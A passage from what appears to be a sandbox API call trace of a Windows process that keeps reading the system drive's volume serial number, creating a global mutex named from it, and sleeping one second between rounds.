lpSrc="%systemdrive%\\", lpDst=0x57a6c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0218.665] GetProcessHeap () returned 0x560000 [0218.666] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0218.666] GetProcessHeap () returned 0x560000 [0218.666] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0218.666] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0218.666] GetProcessHeap () returned 0x560000 [0218.666] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0218.666] GetProcessHeap () returned 0x560000 [0218.667] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0218.667] GetProcessHeap () returned 0x560000 [0218.667] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0218.667] GetProcessHeap () returned 0x560000 [0218.667] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0218.667] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0218.667] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d8 [0218.667] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x0 [0218.668] GetProcessHeap () returned 0x560000 [0218.668] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0218.668] GetProcessHeap () returned 0x560000 [0218.668] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0218.668] ReleaseMutex (hMutex=0x1d8) returned 1 [0218.668] CloseHandle (hObject=0x1d8) returned 1 [0218.668] Sleep (dwMilliseconds=0x3e8) [0220.207] GetProcessHeap () returned 0x560000 [0220.207] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6c0 [0220.207] GetProcessHeap () returned 0x560000 [0220.207] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6e8 [0220.207] GetProcessHeap () returned 0x560000 [0220.207] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0220.207] GetProcessHeap () returned 0x560000 [0220.208] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74238 [0220.208] GetProcessHeap () returned 0x560000 [0220.208] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74238 | out: hHeap=0x560000) returned 1 [0220.208] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a6e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0220.208] GetProcessHeap () returned 0x560000 [0220.208] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0220.208] GetProcessHeap () returned 0x560000 [0220.208] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0220.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0220.209] GetProcessHeap () returned 0x560000 [0220.209] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0220.209] GetProcessHeap () returned 0x560000 [0220.209] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0220.209] GetProcessHeap () returned 0x560000 [0220.209] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0220.209] GetProcessHeap () returned 0x560000 [0220.209] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0220.209] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0220.210] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d4 [0220.210] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0220.210] GetProcessHeap () returned 0x560000 [0220.210] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0220.210] GetProcessHeap () returned 0x560000 [0220.210] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0220.210] ReleaseMutex (hMutex=0x1d4) returned 1 [0220.210] CloseHandle (hObject=0x1d4) returned 1 [0220.210] Sleep (dwMilliseconds=0x3e8) [0221.521] GetProcessHeap () returned 0x560000 [0221.521] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6e8 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6c0 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5ec150 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5ec150 | out: hHeap=0x560000) returned 1 [0221.522] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a6c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0221.522] GetProcessHeap () returned 0x560000 [0221.522] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0221.522] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0221.523] GetProcessHeap () returned 0x560000 [0221.523] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0221.523] GetProcessHeap () returned 0x560000 [0221.523] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0221.523] GetProcessHeap () returned 0x560000 [0221.524] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0221.524] GetProcessHeap () returned 0x560000 [0221.524] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0221.524] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0221.524] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d8 [0221.524] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x0 [0221.524] GetProcessHeap () returned 0x560000 [0221.524] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0221.525] GetProcessHeap () returned 0x560000 [0221.525] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0221.525] ReleaseMutex (hMutex=0x1d8) returned 1 [0221.525] CloseHandle (hObject=0x1d8) returned 1 [0221.525] Sleep (dwMilliseconds=0x3e8) [0222.672] GetProcessHeap () returned 0x560000 [0222.672] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6c0 [0222.673] GetProcessHeap () returned 0x560000 [0222.673] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6e8 [0222.673] GetProcessHeap () returned 0x560000 [0222.673] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0222.673] GetProcessHeap () returned 0x560000 [0222.673] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b748d8 [0222.673] GetProcessHeap () returned 0x560000 [0222.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0222.673] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a6e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0222.673] GetProcessHeap () returned 0x560000 [0222.673] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0222.673] GetProcessHeap () returned 0x560000 [0222.674] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0222.674] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0222.674] GetProcessHeap () returned 0x560000 [0222.674] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0222.674] GetProcessHeap () returned 0x560000 [0222.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0222.674] GetProcessHeap () returned 0x560000 [0222.674] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0222.675] GetProcessHeap () returned 0x560000 [0222.675] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0222.675] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0222.675] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d4 [0222.675] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0222.675] GetProcessHeap () returned 0x560000 [0222.675] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0222.675] GetProcessHeap () returned 0x560000 [0222.676] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0222.676] ReleaseMutex (hMutex=0x1d4) returned 1 [0222.676] CloseHandle (hObject=0x1d4) returned 1 [0222.676] Sleep (dwMilliseconds=0x3e8) [0223.819] GetProcessHeap () returned 0x560000 [0223.819] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6e8 [0223.819] GetProcessHeap () returned 0x560000 [0223.819] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6c0 [0223.819] GetProcessHeap () returned 0x560000 [0223.819] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0223.819] GetProcessHeap () returned 0x560000 [0223.820] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5ec0b8 [0223.820] GetProcessHeap () returned 0x560000 [0223.820] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5ec0b8 | out: hHeap=0x560000) returned 1 [0223.820] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a6c0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0223.820] GetProcessHeap () returned 0x560000 [0223.820] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0223.820] GetProcessHeap () returned 0x560000 [0223.820] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0223.820] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.821] GetProcessHeap () returned 0x560000 [0223.821] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0223.821] GetProcessHeap () returned 0x560000 [0223.821] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0223.821] GetProcessHeap () returned 0x560000 [0223.821] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0223.821] GetProcessHeap () returned 0x560000 [0223.821] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0223.821] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0223.821] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d4 [0223.821] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0223.822] GetProcessHeap () returned 0x560000 [0223.822] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0223.822] GetProcessHeap () returned 0x560000 [0223.822] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0223.822] ReleaseMutex (hMutex=0x1d4) returned 1 [0223.822] CloseHandle (hObject=0x1d4) returned 1 [0223.822] Sleep (dwMilliseconds=0x3e8) [0224.978] GetProcessHeap () returned 0x560000 [0224.978] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6c0 [0224.978] GetProcessHeap () returned 0x560000 [0224.978] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6e8 [0224.978] GetProcessHeap () returned 0x560000 [0224.978] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0224.978] GetProcessHeap () returned 0x560000 [0224.978] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5ec0b8 [0224.978] GetProcessHeap () returned 0x560000 [0224.979] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5ec0b8 | out: hHeap=0x560000) returned 1 [0224.979] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a6e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0224.979] GetProcessHeap () returned 0x560000 [0224.979] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0224.979] GetProcessHeap () returned 0x560000 [0224.979] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6c0 | out: hHeap=0x560000) returned 1 [0224.980] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0229.009] GetProcessHeap () returned 0x560000 [0229.009] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a6e8 | out: hHeap=0x560000) returned 1 [0229.010] GetProcessHeap () returned 0x560000 [0229.010] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0229.010] GetProcessHeap () returned 0x560000 [0229.010] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0229.010] GetProcessHeap () returned 0x560000 [0229.010] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0229.010] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0229.010] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d4 [0229.012] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0229.012] GetProcessHeap () returned 0x560000 [0229.012] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0229.012] GetProcessHeap () returned 0x560000 [0229.012] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0229.012] ReleaseMutex (hMutex=0x1d4) returned 1 [0229.012] CloseHandle (hObject=0x1d4) returned 1 [0229.013] Sleep (dwMilliseconds=0x3e8) [0231.411] GetProcessHeap () returned 0x560000 [0231.411] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87c70 [0231.411] GetProcessHeap () returned 0x560000 [0231.411] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87c98 [0231.411] GetProcessHeap () returned 0x560000 [0231.411] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87cc0 [0231.411] GetProcessHeap () returned 0x560000 [0231.411] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74298 [0231.411] GetProcessHeap () returned 0x560000 [0231.412] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74298 | out: hHeap=0x560000) returned 1 [0231.414] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87c98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0231.414] GetProcessHeap () returned 0x560000 [0231.414] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87cc0 | out: hHeap=0x560000) returned 1 [0231.414] GetProcessHeap () returned 0x560000 [0231.414] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0231.415] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0231.416] GetProcessHeap () returned 0x560000 [0231.416] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c98 | out: hHeap=0x560000) returned 1 [0231.416] GetProcessHeap () returned 0x560000 [0231.416] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574550 [0231.416] GetProcessHeap () returned 0x560000 [0231.416] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0231.416] GetProcessHeap () returned 0x560000 [0231.416] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fea0 [0231.416] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0231.416] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1d0 [0231.417] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0231.417] GetProcessHeap () returned 0x560000 [0231.417] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574550 | out: hHeap=0x560000) returned 1 [0231.417] GetProcessHeap () returned 0x560000 [0231.417] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0231.417] ReleaseMutex (hMutex=0x1d0) returned 1 [0231.417] CloseHandle (hObject=0x1d0) returned 1 [0231.417] Sleep (dwMilliseconds=0x3e8) [0232.659] GetProcessHeap () returned 0x560000 [0232.659] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0232.659] GetProcessHeap () returned 0x560000 [0232.659] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87cc0 [0232.660] GetProcessHeap () returned 0x560000 [0232.660] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87ce8 [0232.660] GetProcessHeap () returned 0x560000 [0232.660] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b87a58 [0232.660] GetProcessHeap () returned 0x560000 [0232.660] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87a58 | out: hHeap=0x560000) returned 1 [0232.660] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87cc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0232.660] GetProcessHeap () returned 0x560000 [0232.660] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87ce8 | out: hHeap=0x560000) returned 1 [0232.660] GetProcessHeap () returned 0x560000 [0232.660] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0232.660] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0232.661] GetProcessHeap () returned 0x560000 [0232.661] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87cc0 | out: hHeap=0x560000) returned 1 [0232.661] GetProcessHeap () returned 0x560000 [0232.661] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5744c0 [0232.661] GetProcessHeap () returned 0x560000 [0232.661] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0232.661] GetProcessHeap () returned 0x560000 [0232.661] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56fea0 [0232.662] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0232.662] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0232.662] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0232.662] GetProcessHeap () returned 0x560000 [0232.662] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5744c0 | out: hHeap=0x560000) returned 1 [0232.663] GetProcessHeap () returned 0x560000 [0232.663] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0232.663] ReleaseMutex (hMutex=0x1f0) returned 1 [0232.663] CloseHandle (hObject=0x1f0) returned 1 [0232.664] Sleep (dwMilliseconds=0x3e8) [0234.599] GetProcessHeap () returned 0x560000 [0234.599] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x2b87d88 [0234.599] GetProcessHeap () returned 0x560000 [0234.599] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x2b87e00 [0234.600] GetProcessHeap () returned 0x560000 [0234.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87d10 [0234.600] GetProcessHeap () returned 0x560000 [0234.600] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b748d8 [0234.600] GetProcessHeap () returned 0x560000 [0234.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0234.600] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b87e00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0234.600] GetProcessHeap () returned 0x560000 [0234.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d10 | out: hHeap=0x560000) returned 1 [0234.600] GetProcessHeap () returned 0x560000 [0234.600] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87d88 | out: hHeap=0x560000) returned 1 [0234.601] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.602] GetProcessHeap () returned 0x560000 [0234.602] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87e00 | out: hHeap=0x560000) returned 1 [0234.602] GetProcessHeap () returned 0x560000 [0234.603] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574508 [0234.603] GetProcessHeap () returned 0x560000 [0234.603] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0234.603] GetProcessHeap () returned 0x560000 [0234.603] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56fea0 [0234.603] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0234.603] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1c0 [0234.603] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x0 [0234.604] GetProcessHeap () returned 0x560000 [0234.604] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574508 | out: hHeap=0x560000) returned 1 [0234.604] GetProcessHeap () returned 0x560000 [0234.604] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0234.604] ReleaseMutex (hMutex=0x1c0) returned 1 [0234.604] CloseHandle (hObject=0x1c0) returned 1 [0234.604] Sleep (dwMilliseconds=0x3e8) [0235.826] GetProcessHeap () returned 0x560000 [0235.826] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x5995d8 [0235.826] GetProcessHeap () returned 0x560000 [0235.826] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599808 [0235.826] GetProcessHeap () returned 0x560000 [0235.826] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c48 [0235.827] GetProcessHeap () returned 0x560000 [0235.827] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b748d8 [0235.827] GetProcessHeap () returned 0x560000 [0235.827] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) 